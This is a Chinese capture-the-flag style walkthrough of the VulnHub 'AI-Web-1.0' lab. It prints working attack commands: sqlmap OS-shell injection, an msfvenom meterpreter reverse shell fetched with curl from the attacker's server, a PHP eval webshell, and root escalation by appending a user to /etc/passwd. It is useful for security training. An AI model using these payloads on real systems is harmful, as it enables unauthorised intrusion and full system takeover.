vulnhub之AI-Web-1.0

news2024/11/15 10:44:25

vulnhub之AI-Web-1.0

一、信息收集

1.主机发现

nmap 172.25.0.0-255

发现了靶机IP:172.25.0.13

2.端口扫描

nmap -A -sS -sV -Pn -O -p- 172.25.0.13

发现80端口是开放的。

3.目录扫描

sudo dirb http://172.25.0.13/

发现了robots.txt文件
在这里插入图片描述

在对其进行目录二次扫描,发现了sql注入

http://172.25.0.13/se3reTdir777/#

在这里插入图片描述

还发现了phpinfo

http://172.25.0.13//m3diNf0//info.php

在这里插入图片描述

二、漏洞发现 & 漏洞利用

1.sql的报错注入到getshell

1.因为我们想要的是getshell,直接上sqlmap试试

sudo python /usr/bin/sqlmap -r sql.txt --data=uid=1 --os-shell

中途需要需要输入🐴儿的类型,因为这里是PHP搭建的站,我们选择4

在这里插入图片描述

2.寻找绝对路径,就从前面的phpinfo里面寻找答案

在这里插入图片描述
从上面的phpinfo里面可以看出,网站的根目录是

/home/www/html/web1x443290o2sdf92213 

有根据目录扫描的结果,看到了uploads

/m3diNf0/
/se3reTdir777/uploads/

在这里插入图片描述
我们推测其绝对路径为

/home/www/html/web1x443290o2sdf92213/se3reTdir777/upload/

虽然说是推测,但是这里的绝对路径的寻找,中途填了好多的坑

在这里插入图片描述

最后,成功getshell
在这里插入图片描述

2.🐴儿上传及利用

1.本来我觉得linux的操作系统,直接上传msf生成的🐴儿,发现就算给了执行权限怎么也执行不了。

  • 🐴儿的生成
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.8.0.70 LPORT=1234 -f elf > 1234.elf

  • 🐴儿的上传

1.服务端开启HTTP服务

python3 -m http.server 8888

2.客服端下载🐴儿

curl -o mshell.elf http://10.8.0.70:8888/mshell.

在这里插入图片描述
3.赋予🐴儿权限

chmod +x mshell.elf

在这里插入图片描述

4.本地最好监听

use exploit/multi/handler
set lhost 10.8.0.70
set lport 4444
set linux/x64/meterpreter/reverse_tcp
run

在这里插入图片描述

开始我还以为是我🐴儿生病了,跑不动,后面生成的🐴儿也跑不动。

3.小🐴拉大🐴

因为前面那个🐴可能太大了,拉不动,先整个小马玩玩

<?php eval($_POST['cmd']);?>

在这里插入图片描述
还是使用上传大🐴的方式,传小🐴儿,这里不在赘述,直接上蚁剑连接

在这里插入图片描述

来到蚁剑的终端执行我们的大🐴儿

./mshell.elf

在这里插入图片描述

因为中途大🐴生病了,换了一个大🐴上去,成功反弹shell

在这里插入图片描述

三、提权

find / -user www-data 2>/dev/null/

发现了/etc/passwd属于www-data下的文件,因此,我们可以修改/etc/passwd下的文件,从而获取shell,前面已经测试了该操作系统的内核漏洞,我发现都没有已知漏洞。
因为/etc/passwd下的密码是加密的,因此需要加密我们的密码

perl -le 'print crypt("password@123","addedsalt")

当然也可以换个密码,将用户和密码写入/etc/passwd

echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

在这里插入图片描述

当我们想su时,报错了

su: must be run from a terminal

在这里插入图片描述
上述报错意思是su这个命令必须运行在终端中,这个时候我们使用python将其转换为交互式

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

切换至test用户,输入密码,直接获取root权限,成功获取flag

flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71} 

在这里插入图片描述

四、知识点总结

1.查找linux下某用户的所属文件

find / -user uname 2>/dev/null

2.使用perl进行加盐加密

perl -le 'print crypt("password@123","addedsalt")

3.使用python转交互式

python -c 'import pty;pty.spawn("/bin/bash")'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/467126.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

神奇的饼状图:如何用最简单的方式呈现复杂的数据

简介 饼状图顾名思义就是形如圆饼状的图形&#xff0c;它是一种常用的图表类型&#xff0c;通常用于展示数据的占比关系。饼状图通过将一个圆形区域划分为多个子区域&#xff0c;反应出不同子类数据之间的的对比关系以及子类数据在大类中的百分比。饼状图将一个数据集按照每个…

全景丨0基础学习VR全景制作,平台篇第13章:热点功能-总览介绍

全景丨0基础学习VR全景制作&#xff0c;平台篇第13章&#xff1a;热点功能-总览介绍 大家好&#xff0c;欢迎观看蛙色VR官方——后台使用系列课程&#xff01; 一、热点功能概览 热点&#xff0c;指在全景作品中添加各种类型图标的按钮&#xff0c;引导用户通过按钮产生更多的…

你知道C语言函数调用的2种方式吗?传值调用 传址调用

本篇博客会讲解C语言函数调用的2种方式&#xff0c;分别是&#xff1a;传值调用和传址调用。这2种函数调用方式有什么区别呢&#xff1f;为什么会有不同的效果呢&#xff1f;分别有哪些用途呢&#xff1f;下面我会一一展开。 区别 传值调用&#xff0c;即通过传递变量的值来调…

4个python内存性能检测工具:memory_profiler、timeit、line_profiler、heartrate的使用案例

这里总结了4个比较好的python性能检测工具&#xff0c;包括内存使用、运行时间、执行次数等方面。 1、memory_profiler查看内存的使用情况 memory_profiler可以用来测量python进程的内存使用情况。可以按行查看内存的使用情况。 memory_profiler 是一个监控进程内存消耗的模…

基于cv2的手势识别-计算机视觉

闲的无聊做的一个小玩意&#xff0c;可以调用你的计算机相机&#xff0c;识别框内的手势&#xff08;剪刀、石头和布&#xff09;&#xff0c;提供一个判决平台&#xff0c;感兴趣的可以继续完善。 用到的参考小文献&#xff1a; 具体实现结果如下 并且我另写了一个框架平台&…

风雨30年,电子表格惊人跨越,excel用户:表格都能生成软件了

电子表格&#xff0c;绝不是你看到的样子&#xff01; 你知道电子表格的前世今生吗&#xff1f; 它绝不只是你现在看到Excel或者WPS的模样。 不同的时代&#xff0c;有着不同的样子 DOS时代没有什么“可见可得”。什么都是靠想象力的&#xff0c;就是屏幕上文档的显示和打印…

供应商管理怎么做?供应商管理办法及流程介绍

阅读本文你将了解&#xff1a;1、供应商管理的重要性&#xff08;供应商管理的痛点&#xff09;&#xff1b;2、供应商管理具体流程&#xff1b;供应商管理系统有什么作用。 一、供应商管理的重要性&#xff08;供应商管理的痛点&#xff09; 供应商管理是组织中至关重要的一环…

锂溶液净化和提纯

锂离子电池是一种充电电池&#xff0c;依靠锂离子在正极和负极之间移动来工作&#xff0c;广泛应用在便携式设备、卫星、储备电源、电动汽车等领域&#xff0c;具有替代各种二次电源的潜力。 近年来国家大力提倡和发展的新能源产业&#xff0c;锂离子电池的需求量的不断攀升&a…

三维实景模型在线浏览平台,在线编辑、在线分享各类地理空间数据

很多行业用户在获取了大量的三维实景模型数据后&#xff0c;想要进行在线浏览或者分享给他人查看&#xff0c;以往只能通过人工手动将模型压缩&#xff0c;不但耗时费力&#xff0c;效果还难以达到预期。 其实&#xff0c;只需要通过四维轻云地理空间数据云管理平台就能轻松实…

DataX数据同步工具使用

1.DataX 简介 DataX 是阿里云 DataWorks 数据集成 的开源版本&#xff0c;主要就是用于实现数据间的离线同步。 DataX 致力于实现包括关系型数据库&#xff08;MySQL、Oracle 等&#xff09;、HDFS、Hive、ODPS、HBase、FTP 等 各种异构数据源&#xff08;即不同的数据库&…

# Linux shell终端设置代理服务器的方法

Linux shell终端设置代理服务器的方法 文章目录 Linux shell终端设置代理服务器的方法1 变量列表2 设置方法2.1 设置代理2.2 测试代理 3 软件专用代理3.1 yum专用代理3.2 git专用代理3.3 wget专用代理3.4 curl专用代理3.5 pip专用代理3.6 aria2c专用代理 4 最后 通过设置Linux变…

三个方法教你快速找到LinkedIn领英的潜在客户(置顶收藏)

第三点–最后一点是重点&#xff0c;要看到最后 相信很多外贸业务员都有这样的问题&#xff1a;“为什么你运营的账户询问的人数那么多&#xff0c;我自己运营的账户却没有人问呢&#xff1f;你是不是有什么好的运营技巧啊&#xff0c;可以给我说一下吗&#xff1f;”事实上&a…

Shell编程循环语句for while until(心有所觉,但亦做不解)

一、for 循环 1.用法和特点 读取不同的变量值&#xff0c;用来逐个执行同一组命令 for循环经常使用在已经知道要进行多少次循环的场景 for 变量 in 取值列表 -- 默认取值分割符&#xff08;空格、制表符、换行符&#xff09;do 或 {命令序列 done 或 }2.执行指…

时序预测 | Matlab实现SSA-BiLSTM、BiLSTM麻雀算法优化双向长短期记忆神经网络时间序列预测(含优化前后对比)

时序预测 | Matlab实现SSA-BiLSTM、BiLSTM麻雀算法优化双向长短期记忆神经网络时间序列预测(含优化前后对比) 目录 时序预测 | Matlab实现SSA-BiLSTM、BiLSTM麻雀算法优化双向长短期记忆神经网络时间序列预测(含优化前后对比)预测效果基本介绍程序设计参考资料 预测效果 基本介…

数学中为什么要研究各种各样的变换?

从信号处理角度来说 分析平稳信号所蕴涵的信息, 一般地Fourier 变换就能应付自如。但以不稳定动力系统为特征的物理世界, 信号往往具有如下特点: 非平稳、非线性、非确定、非可积、非连续、非光滑、非周期、非对称等等。使用Fourier 变换分析、解释非平稳信号, 就显得无能为力…

【日志系列】日志框架Log4j2源码解析

初始化 LoggerFactory private static final Logger logger LoggerFactory.getLogger(LogFilter.class);LoggerFactory#getLogger() public static Logger getLogger(Class<?> clazz) {Logger logger getLogger(clazz.getName());if (DETECT_LOGGER_NAME_MISMATCH) {…

设计模式 Map+函数式接口减少if else

参考资料 代码优雅之道——如何干掉过多的if else 目录 一. 前期准备1.1 标记邮箱种类的接口1.2 邮箱类型区分类1.3 入参Form实体类 二. 邮件发送的业务聚合类三. 定义函数式接口&#xff0c;创建邮件发送的Map四. 效果 一. 前期准备 1.1 标记邮箱种类的接口 import java.la…

一文让你真正了解正则表达式

1 正则表达式是什么 正则表达式(Regular Expression)其实就是一门工具&#xff0c;目的是为了字符串模式匹配&#xff0c;从而实现搜索和替换功能。它起源于上个20世纪50年代科学家在数学领域做的一些研究工作&#xff0c;后来才被引入到计算机领域中。从它的命名我们可以知道…

3自由度并联绘图机器人实现写字功能(二)

1. 功能说明 本文示例将实现R305b样机3自由度并联绘图机器人写字的功能。本实验使用的样机是用探索者兼容零件制作的。 2. 电子硬件 在这个示例中&#xff0c;采用了以下硬件&#xff0c;请大家参考&#xff1a; 主控板 Basra主控板&#xff08;兼容Arduino Uno&#xff09; 扩…

Visual Studio C# WinForm开发入门(5):TabControl 控件使用

TabContrl选项卡控件可创建标签化窗口&#xff0c;在实际 编程中经常用到&#xff0c;该控件的作用是将相关的组件组合到一系列选项卡页面上。 比如下面的例子&#xff0c;在tabPage1页面和tabPage2页面各放了2个checkBox控件&#xff0c;通过点击不同page即可切换&#xff1a;…